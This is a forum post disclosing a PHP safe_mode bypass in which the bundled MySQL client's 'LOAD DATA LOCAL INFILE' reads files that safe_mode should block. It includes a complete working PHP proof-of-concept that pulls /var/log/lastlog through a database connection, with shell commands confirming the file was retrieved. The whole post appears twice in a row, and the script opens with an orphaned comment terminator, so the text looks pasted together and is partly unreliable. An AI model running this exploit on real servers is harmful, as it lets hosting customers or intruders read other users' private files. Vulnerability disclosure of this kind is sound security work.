CourtneyDS
Baseband Member
- Messages
- 56
PHP includes a commonly used feature known as Safe Mode ... When enabled.. scripts are very highly limited in their ability to access or execute local files.. among other things ... PHP relies on a wrapper function around all file system calls to perform access checks.. but unfortunately.. the bundled MySQL client library has not been modified to perform such checks on "LOAD DATA INFILE LOCAL" statements ...
If someone has access to a MySQL server (either provided by you or themself).. they can use it as a proxy by which to download files residing on the safe_mode-enabled web server ... For large ISPs relying on this feature for individual customer privacy.. it could mean clients accessing each other's files.. or viewing of files on an improperly secured server ...
Fix :
Currently none exists ... You may use other PHP safe_mode functions to disable the use of the MySQL client library.. or secure your servers in a proper fashion ... A suggested fix for the PHP developers might be to scan mysql_query()s for strings similar to "LOAD DATA LOCAL INFILE" ...
PHP Safe Mode Problem
The attached script will (once configured correctly) attempt to read "/var/log/lastlog" via the SQL daemon and return it to the client ...
$ cp safe_mode.php /www
$ wget -qO lastlog_via_mysql localhost/safe_mode.php
$ diff /var/log/lastlog lastlog_via_mysql; echo $?
0
This script will connect to a database server running locally or otherwise.. create a temporary table with one column, use the LOAD DATA statement to read a (possibly binary) file.. then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated, this may also be used to access files on the DB server (although they must be world-readable or in MySQLd's basedir.. according to docs)
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . " " .
"REASON: " . mysql_error () . " "
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}
Sincerely
CourtneyDS
If someone has access to a MySQL server (either provided by you or themself).. they can use it as a proxy by which to download files residing on the safe_mode-enabled web server ... For large ISPs relying on this feature for individual customer privacy.. it could mean clients accessing each other's files.. or viewing of files on an improperly secured server ...
Fix :
Currently none exists ... You may use other PHP safe_mode functions to disable the use of the MySQL client library.. or secure your servers in a proper fashion ... A suggested fix for the PHP developers might be to scan mysql_query()s for strings similar to "LOAD DATA LOCAL INFILE" ...
PHP Safe Mode Problem
The attached script will (once configured correctly) attempt to read "/var/log/lastlog" via the SQL daemon and return it to the client ...
$ cp safe_mode.php /www
$ wget -qO lastlog_via_mysql localhost/safe_mode.php
$ diff /var/log/lastlog lastlog_via_mysql; echo $?
0
This script will connect to a database server running locally or otherwise.. create a temporary table with one column, use the LOAD DATA statement to read a (possibly binary) file.. then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated, this may also be used to access files on the DB server (although they must be world-readable or in MySQLd's basedir.. according to docs)
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . " " .
"REASON: " . mysql_error () . " "
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}
Sincerely
CourtneyDS